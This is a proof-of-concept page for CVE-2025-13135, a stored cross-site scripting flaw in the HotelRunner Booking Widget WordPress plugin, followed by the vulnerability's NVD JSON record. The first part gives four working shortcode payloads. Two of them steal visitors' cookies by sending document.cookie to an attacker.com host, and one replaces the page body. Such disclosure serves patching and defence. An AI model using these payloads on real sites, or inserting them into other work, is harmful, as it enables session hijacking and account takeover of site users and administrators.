CVE-2025-13135

<!-- CVE-2025-13135 PoC: HotelRunner Booking Widget Stored XSS --> <!-- Description: Stored Cross-Site Scripting via hotelrunner shortcode Affected Version: <= 5.2.4 Author: [email protected] CVSS Score: 6.4 (MEDIUM) --> <!-- PoC 1: Basic XSS via hotel_id attribute --> [hotelrunner hotel_id='"><script>alert('XSS - CVE-2025-13135')</script>'] <!-- PoC 2: Cookie stealing payload --> [hotelrunner hotel_id='"><img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">'] <!-- PoC 3: Session hijacking payload --> [hotelrunner hotel_id='"><script>fetch('https://attacker.com/log?data='+btoa(document.cookie))</script>'] <!-- PoC 4: DOM manipulation payload --> [hotelrunner attr='"><script>document.body.innerHTML='<h1>Malicious Page</h1>'</script>']

{"cve": {"id": "CVE-2025-13135", "sourceIdentifier": "[email protected]", "published": "2025-11-21T08:15:54.867", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The HotelRunner Booking Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'hotelrunner' shortcode in all versions up to, and including, 5.2.4 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://wordpress.org/plugins/hotelrunner/#developers", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/df2854c4-5d57-4c39-a28f-41dab36a086e?source=cve", "source": "[email protected]"}]}}